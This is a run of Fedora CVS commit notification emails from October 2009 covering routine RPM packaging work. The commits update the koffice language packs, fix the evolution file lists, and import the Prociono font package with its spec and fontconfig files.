+* Sat Oct 03 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-102
+- Requires: qt4 >= 4.5.2-21
+
 * Tue Sep 29 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-101
 - revert to kde/phonon
 - inflate to Release: 101



From rdieter at fedoraproject.org  Sun Oct  4 02:54:35 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sun,  4 Oct 2009 02:54:35 +0000 (UTC)
Subject: rpms/koffice-langpack/devel .cvsignore, 1.20,
	1.21 koffice-langpack.spec, 1.27, 1.28 sources, 1.21, 1.22
Message-ID: <20091004025435.2FFEF11C00E5@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/koffice-langpack/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27358

Modified Files:
	.cvsignore koffice-langpack.spec sources 
Log Message:
* Sat Oct 03 2009 Rex Dieter <rdieter at fedoraproject.org> - 1:2.0.83-1
- koffice-l10n-2.0.83



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/koffice-langpack/devel/.cvsignore,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- .cvsignore	26 Sep 2009 18:19:13 -0000	1.20
+++ .cvsignore	4 Oct 2009 02:54:34 -0000	1.21
@@ -1,76 +1,26 @@
-clog
-koffice-l10n-ca-1.6.2.tar.bz2
-koffice-l10n-cs-1.6.2.tar.bz2
-koffice-l10n-cy-1.6.2.tar.bz2
-koffice-l10n-da-1.6.2.tar.bz2
-koffice-l10n-de-1.6.2.tar.bz2
-koffice-l10n-el-1.6.2.tar.bz2
-koffice-l10n-en_GB-1.6.2.tar.bz2
-koffice-l10n-es-1.6.2.tar.bz2
-koffice-l10n-et-1.6.2.tar.bz2
-koffice-l10n-eu-1.6.2.tar.bz2
-koffice-l10n-fa-1.6.2.tar.bz2
-koffice-l10n-fi-1.6.2.tar.bz2
-koffice-l10n-fr-1.6.2.tar.bz2
-koffice-l10n-ga-1.6.2.tar.bz2
-koffice-l10n-gl-1.6.2.tar.bz2
-koffice-l10n-hu-1.6.2.tar.bz2
-koffice-l10n-it-1.6.2.tar.bz2
-koffice-l10n-ja-1.6.2.tar.bz2
-koffice-l10n-km-1.6.2.tar.bz2
-koffice-l10n-lv-1.6.2.tar.bz2
-koffice-l10n-ms-1.6.2.tar.bz2
-koffice-l10n-nb-1.6.2.tar.bz2
-koffice-l10n-nl-1.6.2.tar.bz2
-koffice-l10n-pl-1.6.2.tar.bz2
-koffice-l10n-pt-1.6.2.tar.bz2
-koffice-l10n-pt_BR-1.6.2.tar.bz2
-koffice-l10n-ru-1.6.2.tar.bz2
-koffice-l10n-sk-1.6.2.tar.bz2
-koffice-l10n-sl-1.6.2.tar.bz2
-koffice-l10n-sr-1.6.2.tar.bz2
-koffice-l10n-sr at Latn-1.6.2.tar.bz2
-koffice-l10n-sv-1.6.2.tar.bz2
-koffice-l10n-tr-1.6.2.tar.bz2
-koffice-l10n-uk-1.6.2.tar.bz2
-koffice-l10n-zh_CN-1.6.2.tar.bz2
-koffice-l10n-zh_TW-1.6.2.tar.bz2
-koffice-l10n-bg-1.6.3.tar.bz2
-koffice-l10n-ca-1.6.3.tar.bz2
-koffice-l10n-cs-1.6.3.tar.bz2
-koffice-l10n-cy-1.6.3.tar.bz2
-koffice-l10n-da-1.6.3.tar.bz2
-koffice-l10n-de-1.6.3.tar.bz2
-koffice-l10n-el-1.6.3.tar.bz2
-koffice-l10n-en_GB-1.6.3.tar.bz2
-koffice-l10n-es-1.6.3.tar.bz2
-koffice-l10n-et-1.6.3.tar.bz2
-koffice-l10n-eu-1.6.3.tar.bz2
-koffice-l10n-fa-1.6.3.tar.bz2
-koffice-l10n-fi-1.6.3.tar.bz2
-koffice-l10n-fr-1.6.3.tar.bz2
-koffice-l10n-ga-1.6.3.tar.bz2
-koffice-l10n-gl-1.6.3.tar.bz2
-koffice-l10n-hu-1.6.3.tar.bz2
-koffice-l10n-it-1.6.3.tar.bz2
-koffice-l10n-ja-1.6.3.tar.bz2
-koffice-l10n-km-1.6.3.tar.bz2
-koffice-l10n-lv-1.6.3.tar.bz2
-koffice-l10n-ms-1.6.3.tar.bz2
-koffice-l10n-nb-1.6.3.tar.bz2
-koffice-l10n-nds-1.6.3.tar.bz2
-koffice-l10n-ne-1.6.3.tar.bz2
-koffice-l10n-nl-1.6.3.tar.bz2
-koffice-l10n-pl-1.6.3.tar.bz2
-koffice-l10n-pt-1.6.3.tar.bz2
-koffice-l10n-pt_BR-1.6.3.tar.bz2
-koffice-l10n-ru-1.6.3.tar.bz2
-koffice-l10n-sk-1.6.3.tar.bz2
-koffice-l10n-sl-1.6.3.tar.bz2
-koffice-l10n-sr-1.6.3.tar.bz2
-koffice-l10n-sr at Latn-1.6.3.tar.bz2
-koffice-l10n-sv-1.6.3.tar.bz2
-koffice-l10n-tr-1.6.3.tar.bz2
-koffice-l10n-uk-1.6.3.tar.bz2
-koffice-l10n-zh_CN-1.6.3.tar.bz2
-koffice-l10n-zh_TW-1.6.3.tar.bz2
+koffice-l10n-ca-2.0.83.tar.bz2
+koffice-l10n-da-2.0.83.tar.bz2
+koffice-l10n-de-2.0.83.tar.bz2
+koffice-l10n-el-2.0.83.tar.bz2
+koffice-l10n-en_GB-2.0.83.tar.bz2
+koffice-l10n-es-2.0.83.tar.bz2
+koffice-l10n-et-2.0.83.tar.bz2
+koffice-l10n-fr-2.0.83.tar.bz2
+koffice-l10n-fy-2.0.83.tar.bz2
+koffice-l10n-gl-2.0.83.tar.bz2
+koffice-l10n-hne-2.0.83.tar.bz2
+koffice-l10n-it-2.0.83.tar.bz2
+koffice-l10n-ja-2.0.83.tar.bz2
+koffice-l10n-kk-2.0.83.tar.bz2
+koffice-l10n-nb-2.0.83.tar.bz2
+koffice-l10n-nds-2.0.83.tar.bz2
+koffice-l10n-nl-2.0.83.tar.bz2
+koffice-l10n-pl-2.0.83.tar.bz2
+koffice-l10n-pt-2.0.83.tar.bz2
+koffice-l10n-pt_BR-2.0.83.tar.bz2
+koffice-l10n-sv-2.0.83.tar.bz2
+koffice-l10n-tr-2.0.83.tar.bz2
+koffice-l10n-uk-2.0.83.tar.bz2
+koffice-l10n-wa-2.0.83.tar.bz2
+koffice-l10n-zh_CN-2.0.83.tar.bz2
+koffice-l10n-zh_TW-2.0.83.tar.bz2


Index: koffice-langpack.spec
===================================================================
RCS file: /cvs/pkgs/rpms/koffice-langpack/devel/koffice-langpack.spec,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- koffice-langpack.spec	27 Sep 2009 01:18:20 -0000	1.27
+++ koffice-langpack.spec	4 Oct 2009 02:54:34 -0000	1.28
@@ -1,9 +1,9 @@
 
-%define koffice_core_version 2:2.0
+%define koffice_core_version 2:2.0.80
 
 Name:           koffice-langpack
 Epoch:          1
-Version:        2.0.82
+Version:        2.0.83
 Release:        1%{?dist}
 Summary:        Language files for koffice
 
@@ -18,7 +18,7 @@ Source0: teamnames
 #Source2: ftp://ftp.kde.org/pub/kde/stable/koffice-%{version}/src/koffice-l10n/koffice-l10n-bg-%{version}.tar.bz2
 #Source3: ftp://ftp.kde.org/pub/kde/stable/koffice-%{version}/src/koffice-l10n/koffice-l10n-br-%{version}.tar.bz2
 Source4: ftp://ftp.kde.org/pub/kde/stable/koffice-%{version}/src/koffice-l10n/koffice-l10n-ca-%{version}.tar.bz2
-Source5: ftp://ftp.kde.org/pub/kde/stable/koffice-%{version}/src/koffice-l10n/koffice-l10n-cs-%{version}.tar.bz2
+#Source5: ftp://ftp.kde.org/pub/kde/stable/koffice-%{version}/src/koffice-l10n/koffice-l10n-cs-%{version}.tar.bz2
 #Source6: ftp://ftp.kde.org/pub/kde/stable/koffice-%{version}/src/koffice-l10n/koffice-l10n-cy-%{version}.tar.bz2
 Source7: ftp://ftp.kde.org/pub/kde/stable/koffice-%{version}/src/koffice-l10n/koffice-l10n-da-%{version}.tar.bz2
 Source8: ftp://ftp.kde.org/pub/kde/stable/koffice-%{version}/src/koffice-l10n/koffice-l10n-de-%{version}.tar.bz2
@@ -35,8 +35,8 @@ Source18:ftp://ftp.kde.org/pub/kde/stabl
 #Source19:ftp://ftp.kde.org/pub/kde/stable/koffice-%{version}/src/koffice-l10n/koffice-l10n-ga-%{version}.tar.bz2
 Source20:ftp://ftp.kde.org/pub/kde/stable/koffice-%{version}/src/koffice-l10n/koffice-l10n-gl-%{version}.tar.bz2
 #Source21:ftp://ftp.kde.org/pub/kde/stable/koffice-%{version}/src/koffice-l10n/koffice-l10n-he-%{version}.tar.bz2
-Source22:ftp://ftp.kde.org/pub/kde/stable/koffice-%{version}/src/koffice-l10n/koffice-l10n-hi-%{version}.tar.bz2
-#Source23:ftp://ftp.kde.org/pub/kde/stable/koffice-%{version}/src/koffice-l10n/koffice-l10n-hne-%{version}.tar.bz2
+#Source22:ftp://ftp.kde.org/pub/kde/stable/koffice-%{version}/src/koffice-l10n/koffice-l10n-hi-%{version}.tar.bz2
+Source23:ftp://ftp.kde.org/pub/kde/stable/koffice-%{version}/src/koffice-l10n/koffice-l10n-hne-%{version}.tar.bz2
 Source24:ftp://ftp.kde.org/pub/kde/stable/koffice-%{version}/src/koffice-l10n/koffice-l10n-it-%{version}.tar.bz2
 Source25:ftp://ftp.kde.org/pub/kde/stable/koffice-%{version}/src/koffice-l10n/koffice-l10n-ja-%{version}.tar.bz2
 Source26:ftp://ftp.kde.org/pub/kde/stable/koffice-%{version}/src/koffice-l10n/koffice-l10n-kk-%{version}.tar.bz2
@@ -486,7 +486,7 @@ Provides additional traditional Chinese 
 
 
 %prep
-%setup -T -c -q -n %{name} -a 4 -a 5 -a 7 -a 8 -a 9 -a 10 -a 12 -a 13 -a 17 -a 18 -a 20 -a 22 -a 24 -a 25 -a 26 -a 29 -a 30 -a 32 -a 33 -a 34 -a 35 -a 40 -a 42 -a 43 -a 44 -a 45 -a 46
+%setup -T -c -q -n %{name} -a 4 -a 7 -a 8 -a 9 -a 10 -a 12 -a 13 -a 17 -a 18 -a 20 -a 23 -a 24 -a 25 -a 26 -a 29 -a 30 -a 32 -a 33 -a 34 -a 35 -a 40 -a 42 -a 43 -a 44 -a 45 -a 46
 
 
 %build
@@ -549,10 +549,10 @@ rm -rf %{buildroot}
 %lang(ca) %{_kde4_appsdir}/koffice/autocorrect/ca.xml
 %lang(ca) %{_kde4_docdir}/HTML/ca/*
 
-%files cs
-%defattr(-,root,root,-)
-%lang(cs) %{_datadir}/locale/cs/LC_MESSAGES/*
-%lang(cs) %{_kde4_appsdir}/koffice/autocorrect/cs.xml
+#files cs
+#defattr(-,root,root,-)
+#lang(cs) %{_datadir}/locale/cs/LC_MESSAGES/*
+#lang(cs) %{_kde4_appsdir}/koffice/autocorrect/cs.xml
 
 #files cy
 #defattr(-,root,root,-)
@@ -627,13 +627,13 @@ rm -rf %{buildroot}
 #defattr(-,root,root,-)
 #lang(he) %{_datadir}/locale/he/LC_MESSAGES/*
 
-%files hi 
-%defattr(-,root,root,-)
-%lang(hi) %{_datadir}/locale/hi/LC_MESSAGES/*
-
-#files hne
+#files hi 
 #defattr(-,root,root,-)
-#lang(hne) %{_datadir}/locale/hne/LC_MESSAGES/*
+#lang(hi) %{_datadir}/locale/hi/LC_MESSAGES/*
+
+%files hne
+%defattr(-,root,root,-)
+%lang(hne) %{_datadir}/locale/hne/LC_MESSAGES/*
 
 #files hu
 #defattr(-,root,root,-)
@@ -760,6 +760,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Sat Oct 03 2009 Rex Dieter <rdieter at fedoraproject.org> - 1:2.0.83-1
+- koffice-l10n-2.0.83
+
 * Fri Sep 11 2009 Rex Dieter <rdieter at fedoraproject.org> - 1:2.0.82-1
 - koffice-l10n-2.0.82
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/koffice-langpack/devel/sources,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- sources	26 Sep 2009 18:19:13 -0000	1.21
+++ sources	4 Oct 2009 02:54:34 -0000	1.22
@@ -1,39 +1,26 @@
-da3167fc536f51d8e32998ae203cd4b9  koffice-l10n-bg-1.6.3.tar.bz2
-5ec6aa3c1c613466a545e26bdb9dfd72  koffice-l10n-ca-1.6.3.tar.bz2
-d893774830fa05b2450018ae70fcd267  koffice-l10n-cs-1.6.3.tar.bz2
-6a100e050c3e6ae95733b24ce4d4f4cf  koffice-l10n-cy-1.6.3.tar.bz2
-fa9c878f7672d1b9881722f93a1dc1ce  koffice-l10n-da-1.6.3.tar.bz2
-9153728550bc6101094bac42aefb7663  koffice-l10n-de-1.6.3.tar.bz2
-be97b80ccaa0da028d8d04f263be5fed  koffice-l10n-el-1.6.3.tar.bz2
-468c3ac77b57de10e1cb7c99d184a443  koffice-l10n-en_GB-1.6.3.tar.bz2
-23f246f5bc86f8831e595f98c24c154e  koffice-l10n-es-1.6.3.tar.bz2
-fdc1c81ae65bec5f7e56d76bcdbaa1af  koffice-l10n-et-1.6.3.tar.bz2
-3ca81163f7242bcad450342e1105ad89  koffice-l10n-eu-1.6.3.tar.bz2
-63f5d0570660e47455e8ccd1a8c4bf02  koffice-l10n-fa-1.6.3.tar.bz2
-98b3b306061c127b92d9e73d3641f687  koffice-l10n-fi-1.6.3.tar.bz2
-01219310196ac9c8325c3d8c7456bcb3  koffice-l10n-fr-1.6.3.tar.bz2
-80f28f345dbae9b108b97701ab2a3b7b  koffice-l10n-ga-1.6.3.tar.bz2
-84b9c65886a99599d99c7ea077875a88  koffice-l10n-gl-1.6.3.tar.bz2
-088e5c503a9dedfa8d23a3fa11f596ca  koffice-l10n-hu-1.6.3.tar.bz2
-1aa3d67279e63f7c7919908c686f2281  koffice-l10n-it-1.6.3.tar.bz2
-b0d886c7504a8b0bafb5095835e78c8a  koffice-l10n-ja-1.6.3.tar.bz2
-527e698b2907f90712239681f0ae0a9e  koffice-l10n-km-1.6.3.tar.bz2
-62386e1713216bd2709e1ce3fd150c8e  koffice-l10n-lv-1.6.3.tar.bz2
-1bf2fcf2c82464e038eed026eaa13fca  koffice-l10n-ms-1.6.3.tar.bz2
-462ecb27a008482801ca3bd9e803b2d1  koffice-l10n-nb-1.6.3.tar.bz2
-50702ef6c8d586e89280a2b42d2c5225  koffice-l10n-nds-1.6.3.tar.bz2
-bd95494b15f647dfcbe39d514811504a  koffice-l10n-ne-1.6.3.tar.bz2
-a63c40510c0bb322dc1f6bb057759772  koffice-l10n-nl-1.6.3.tar.bz2
-a174b73f3e2c0e579bf3775e481958dd  koffice-l10n-pl-1.6.3.tar.bz2
-e74540534eae3d0b1cb4bbabf3da0ed0  koffice-l10n-pt-1.6.3.tar.bz2
-fe49fa2405b44044b69b5d1e2bcb15cf  koffice-l10n-pt_BR-1.6.3.tar.bz2
-e6be9bcea5e2b6e6aa4662f1530841ef  koffice-l10n-ru-1.6.3.tar.bz2
-aa49a6c5497dc201359c577ab77c8361  koffice-l10n-sk-1.6.3.tar.bz2
-18e3f2e81be91170fe551e4b47c2f907  koffice-l10n-sl-1.6.3.tar.bz2
-3eb97f2ef5f65b3637af397dca0d8fcb  koffice-l10n-sr-1.6.3.tar.bz2
-217064c12d6efe969a1bbdac2ef8aef0  koffice-l10n-sr at Latn-1.6.3.tar.bz2
-c6c530010a64fb9e2880a3f33bb9276e  koffice-l10n-sv-1.6.3.tar.bz2
-301f3a665f12d1b7f56fe9be93403812  koffice-l10n-tr-1.6.3.tar.bz2
-f8a50375d4f280131a27e0bdfb0deb83  koffice-l10n-uk-1.6.3.tar.bz2
-a21490ebc1d0beedc565c070d4bdad25  koffice-l10n-zh_CN-1.6.3.tar.bz2
-7c7c3787a45743ae9d06938829381d2e  koffice-l10n-zh_TW-1.6.3.tar.bz2
+fce8195883ea21bae8fd878dc6eb2ea3  koffice-l10n-ca-2.0.83.tar.bz2
+50f19986f50c37096223b4285bb6b3aa  koffice-l10n-da-2.0.83.tar.bz2
+414d4860d853e6694b1c6c99429b0d28  koffice-l10n-de-2.0.83.tar.bz2
+4d13ace13d64deb306a37206546bd7ba  koffice-l10n-el-2.0.83.tar.bz2
+dcfd3aec897f42f64cd79e3fe5a04863  koffice-l10n-en_GB-2.0.83.tar.bz2
+d61a6c232a1d666f645482410f27ab5d  koffice-l10n-es-2.0.83.tar.bz2
+1bd7efd09e0a70f653732dfc32b395af  koffice-l10n-et-2.0.83.tar.bz2
+0907890519c109a44d998c635d809924  koffice-l10n-fr-2.0.83.tar.bz2
+39495786d1d903acf34fa23717d0c6d1  koffice-l10n-fy-2.0.83.tar.bz2
+bd041987c56dbffe0ca82d076230c3f6  koffice-l10n-gl-2.0.83.tar.bz2
+7b9e589ce836e48c087496def7e62131  koffice-l10n-hne-2.0.83.tar.bz2
+52b643c96bbe2a5451f7ea9b224e20ce  koffice-l10n-it-2.0.83.tar.bz2
+0d3957a122cfd86a8436f3d7af60dfc2  koffice-l10n-ja-2.0.83.tar.bz2
+61520075da873414ed350b7b22b1db98  koffice-l10n-kk-2.0.83.tar.bz2
+db253685af3e49453099a52be16857de  koffice-l10n-nb-2.0.83.tar.bz2
+773ab8ee18dd756459986c2b7ea69687  koffice-l10n-nds-2.0.83.tar.bz2
+4ea27a967102b755c6c6d5aebc6afc32  koffice-l10n-nl-2.0.83.tar.bz2
+674c0927f2332b83b396ad734c219e74  koffice-l10n-pl-2.0.83.tar.bz2
+1dc976e0defb4a1a5ee47c1a987f7ee2  koffice-l10n-pt-2.0.83.tar.bz2
+57fb55aabaf23a0a1b6e9a413920346c  koffice-l10n-pt_BR-2.0.83.tar.bz2
+240f155ee672db5bb6f5267e4eb52fd9  koffice-l10n-sv-2.0.83.tar.bz2
+783b74fccebf8f36378b8d248c0ab15c  koffice-l10n-tr-2.0.83.tar.bz2
+096172f012cb659354388249593d4c57  koffice-l10n-uk-2.0.83.tar.bz2
+535108b126dcd3f72d0ecb6e9c01a4f2  koffice-l10n-wa-2.0.83.tar.bz2
+be51ced4103d44d3c8e806fb5f8a4f75  koffice-l10n-zh_CN-2.0.83.tar.bz2
+f6afffa5e0fdb0ebfebdaf58a8063a71  koffice-l10n-zh_TW-2.0.83.tar.bz2



From mbarnes at fedoraproject.org  Sun Oct  4 03:16:34 2009
From: mbarnes at fedoraproject.org (Matthew Barnes)
Date: Sun,  4 Oct 2009 03:16:34 +0000 (UTC)
Subject: rpms/evolution/F-12 evolution.spec,1.394.2.65,1.394.2.66
Message-ID: <20091004031634.3D8F311C00E5@cvs1.fedora.phx.redhat.com>

Author: mbarnes

Update of /cvs/pkgs/rpms/evolution/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32382

Modified Files:
      Tag: private-mbarnes-kb
	evolution.spec 
Log Message:
Fix files list, again.



Index: evolution.spec
===================================================================
RCS file: /cvs/pkgs/rpms/evolution/F-12/evolution.spec,v
retrieving revision 1.394.2.65
retrieving revision 1.394.2.66
diff -u -p -r1.394.2.65 -r1.394.2.66
--- evolution.spec	3 Oct 2009 02:56:46 -0000	1.394.2.65
+++ evolution.spec	4 Oct 2009 03:16:33 -0000	1.394.2.66
@@ -442,6 +442,7 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/evolution/%{evo_major}/modules
 
 # Shared libraries:
+%{_libdir}/evolution/%{evo_major}/libcomposer.so.*
 %{_libdir}/evolution/%{evo_major}/libeabutil.so.*
 %{_libdir}/evolution/%{evo_major}/libeconduit.so.*
 %{_libdir}/evolution/%{evo_major}/libecontacteditor.so.*
@@ -587,7 +588,7 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/evolution-mail.pc
 %{_libdir}/pkgconfig/evolution-plugin.pc
 %{_libdir}/pkgconfig/evolution-shell.pc
-#%{_libdir}/evolution/%{evo_major}/libefilterbar.so
+%{_libdir}/evolution/%{evo_major}/libcomposer.so
 %{_libdir}/evolution/%{evo_major}/libeabutil.so
 %{_libdir}/evolution/%{evo_major}/libeconduit.so
 %{_libdir}/evolution/%{evo_major}/libecontacteditor.so
@@ -601,15 +602,12 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/evolution/%{evo_major}/libetimezonedialog.so
 %{_libdir}/evolution/%{evo_major}/libeutil.so
 %{_libdir}/evolution/%{evo_major}/libevolution-a11y.so
-#%{_libdir}/evolution/%{evo_major}/libevolution-addressbook-a11y.so
 %{_libdir}/evolution/%{evo_major}/libevolution-addressbook-importers.so
 %{_libdir}/evolution/%{evo_major}/libevolution-calendar.so
-#%{_libdir}/evolution/%{evo_major}/libevolution-calendar-a11y.so
 %{_libdir}/evolution/%{evo_major}/libevolution-calendar-importers.so
 %{_libdir}/evolution/%{evo_major}/libevolution-mail-importers.so
 %{_libdir}/evolution/%{evo_major}/libevolution-mail.so
 %{_libdir}/evolution/%{evo_major}/libevolution-smime.so
-#%{_libdir}/evolution/%{evo_major}/libevolution-widgets-a11y.so
 %{_libdir}/evolution/%{evo_major}/libfilter.so
 %{_libdir}/evolution/%{evo_major}/libmenus.so
 



From ankursinha at fedoraproject.org  Sun Oct  4 04:05:47 2009
From: ankursinha at fedoraproject.org (Ankur Sinha)
Date: Sun,  4 Oct 2009 04:05:47 +0000 (UTC)
Subject: rpms/oflb-prociono-fonts/devel import.log, NONE,
	1.1 oflb-prociono-fonts-fontconfig.conf, NONE,
	1.1 oflb-prociono-fonts.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091004040547.E113811C00DB@cvs1.fedora.phx.redhat.com>

Author: ankursinha

Update of /cvs/pkgs/rpms/oflb-prociono-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14034/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log oflb-prociono-fonts-fontconfig.conf 
	oflb-prociono-fonts.spec 
Log Message:
* Sun Oct 4 2009 Ankur Sinha <ankursinha At fedoraproject DOT org> 
- 20090715-2
- Initial CVS commit for package




--- NEW FILE import.log ---
oflb-prociono-fonts-20090715-2_fc11:HEAD:oflb-prociono-fonts-20090715-2.fc11.src.rpm:1254629011


--- NEW FILE oflb-prociono-fonts-fontconfig.conf ---
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE fontconfig SYSTEM "../fonts.dtd">
<fontconfig>
  <alias>
    <family>serif</family>
    <prefer>
      <family>Prociono</family>
    </prefer>
  </alias>
  <alias>
    <family>Prociono</family>
    <default>
      <family>serif</family>
    </default>
  </alias>
</fontconfig>


--- NEW FILE oflb-prociono-fonts.spec ---
%global	fontname	oflb-prociono
%global fontconf	62-%{fontname}.conf

Name:		%{fontname}-fonts
Version:	20090715
Release:	2%{?dist}
Summary:	A text roman with standard and discretionary ligatures, class-based kerning 
Group:		User Interface/X
License:	Public Domain
URL:		http://openfontlibrary.org/media/files/chemoelectric/206
Source0:	http://openfontlibrary.org/people/chemoelectric/chemoelectric_-_Prociono.zip
Source1:	%{name}-fontconfig.conf

BuildRoot:	%(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)

BuildArch:	noarch
BuildRequires:	fontforge,fontpackages-devel
Requires:	fontpackages-filesystem

%description
A serif font created by Barry Schwartz

The name is pronounced "pro-tsee-O-no" and is Esperanto for 
either "raccoon" or the star Procyon. The author prefers to 
think of this font as a raccoon.

%prep
%setup -qc -n chemoelectric_-_Prociono.zip

%build
fontforge -lang=ff -script "-" *.sfd <<EOF
i = 1 
while ( i < \$argc )
  Open (\$argv[i], 1)
  Generate (\$fontname + ".ttf")
  PrintSetup (5) 
  PrintFont (0, 0, "", \$fontname + "-sample.pdf")
  Close()
  i++ 
endloop
EOF

%install
rm -fr %{buildroot}

install -m 755 -d %{buildroot}%{_fontdir}
install -m 644 -p *.ttf %{buildroot}%{_fontdir}

install -m 755 -d %{buildroot}%{_fontconfig_templatedir} \
		%{buildroot}%{_fontconfig_confdir}

install -m 644 -p %{SOURCE1} \
	%{buildroot}%{_fontconfig_templatedir}/%{fontconf}

ln -s %{_fontconfig_templatedir}/%{fontconf} \
	%{buildroot}%{_fontconfig_confdir}/%{fontconf}

%clean
rm -rf %{buildroot}

%_font_pkg -f %{fontconf} *.ttf

%doc LICENSE

%changelog
* Tue Sep 29 2009 Ankur Sinha <ankursinha AT fedoraproject DOT org>
- 20090715-2
- Made changes according to bugzilla #512079
* Thu Jul 16 2009 Ankur Sinha <ankursinha at fedoraproject.org>
- 20090715-1
- Initial RPM build.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/oflb-prociono-fonts/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	3 Oct 2009 21:31:23 -0000	1.1
+++ .cvsignore	4 Oct 2009 04:05:45 -0000	1.2
@@ -0,0 +1 @@
+chemoelectric_-_Prociono.zip


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/oflb-prociono-fonts/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	3 Oct 2009 21:31:24 -0000	1.1
+++ sources	4 Oct 2009 04:05:45 -0000	1.2
@@ -0,0 +1 @@
+9348a003073fda8723fc49c921b1efa8  chemoelectric_-_Prociono.zip



From ankursinha at fedoraproject.org  Sun Oct  4 04:13:48 2009
From: ankursinha at fedoraproject.org (Ankur Sinha)
Date: Sun,  4 Oct 2009 04:13:48 +0000 (UTC)
Subject: rpms/oflb-prociono-fonts/F-10 import.log, NONE,
	1.1 oflb-prociono-fonts-fontconfig.conf, NONE,
	1.1 oflb-prociono-fonts.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091004041348.7DD1511C00E5@cvs1.fedora.phx.redhat.com>

Author: ankursinha

Update of /cvs/pkgs/rpms/oflb-prociono-fonts/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4472/F-10

Modified Files:
	.cvsignore sources 
Added Files:
	import.log oflb-prociono-fonts-fontconfig.conf 
	oflb-prociono-fonts.spec 
Log Message:
* Sun Oct 4 2009 Ankur Sinha <ankursinha AT fedoraproject DOT org> 
- 20090715-2
- initial cvs commit



--- NEW FILE import.log ---
oflb-prociono-fonts-20090715-2_fc11:F-10:oflb-prociono-fonts-20090715-2.fc11.src.rpm:1254629433


--- NEW FILE oflb-prociono-fonts-fontconfig.conf ---
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE fontconfig SYSTEM "../fonts.dtd">
<fontconfig>
  <alias>
    <family>serif</family>
    <prefer>
      <family>Prociono</family>
    </prefer>
  </alias>
  <alias>
    <family>Prociono</family>
    <default>
      <family>serif</family>
    </default>
  </alias>
</fontconfig>


--- NEW FILE oflb-prociono-fonts.spec ---
%global	fontname	oflb-prociono
%global fontconf	62-%{fontname}.conf

Name:		%{fontname}-fonts
Version:	20090715
Release:	2%{?dist}
Summary:	A text roman with standard and discretionary ligatures, class-based kerning 
Group:		User Interface/X
License:	Public Domain
URL:		http://openfontlibrary.org/media/files/chemoelectric/206
Source0:	http://openfontlibrary.org/people/chemoelectric/chemoelectric_-_Prociono.zip
Source1:	%{name}-fontconfig.conf

BuildRoot:	%(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)

BuildArch:	noarch
BuildRequires:	fontforge,fontpackages-devel
Requires:	fontpackages-filesystem

%description
A serif font created by Barry Schwartz

The name is pronounced "pro-tsee-O-no" and is Esperanto for 
either "raccoon" or the star Procyon. The author prefers to 
think of this font as a raccoon.

%prep
%setup -qc -n chemoelectric_-_Prociono.zip

%build
fontforge -lang=ff -script "-" *.sfd <<EOF
i = 1 
while ( i < \$argc )
  Open (\$argv[i], 1)
  Generate (\$fontname + ".ttf")
  PrintSetup (5) 
  PrintFont (0, 0, "", \$fontname + "-sample.pdf")
  Close()
  i++ 
endloop
EOF

%install
rm -fr %{buildroot}

install -m 755 -d %{buildroot}%{_fontdir}
install -m 644 -p *.ttf %{buildroot}%{_fontdir}

install -m 755 -d %{buildroot}%{_fontconfig_templatedir} \
		%{buildroot}%{_fontconfig_confdir}

install -m 644 -p %{SOURCE1} \
	%{buildroot}%{_fontconfig_templatedir}/%{fontconf}

ln -s %{_fontconfig_templatedir}/%{fontconf} \
	%{buildroot}%{_fontconfig_confdir}/%{fontconf}

%clean
rm -rf %{buildroot}

%_font_pkg -f %{fontconf} *.ttf

%doc LICENSE

%changelog
* Tue Sep 29 2009 Ankur Sinha <ankursinha AT fedoraproject DOT org>
- 20090715-2
- Made changes according to bugzilla #512079
* Thu Jul 16 2009 Ankur Sinha <ankursinha at fedoraproject.org>
- 20090715-1
- Initial RPM build.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/oflb-prociono-fonts/F-10/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	3 Oct 2009 21:31:23 -0000	1.1
+++ .cvsignore	4 Oct 2009 04:13:47 -0000	1.2
@@ -0,0 +1 @@
+chemoelectric_-_Prociono.zip


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/oflb-prociono-fonts/F-10/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	3 Oct 2009 21:31:24 -0000	1.1
+++ sources	4 Oct 2009 04:13:47 -0000	1.2
@@ -0,0 +1 @@
+9348a003073fda8723fc49c921b1efa8  chemoelectric_-_Prociono.zip



From pkgdb at fedoraproject.org  Sun Oct  4 04:40:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 04:40:38 +0000
Subject: [pkgdb] python had acl change status
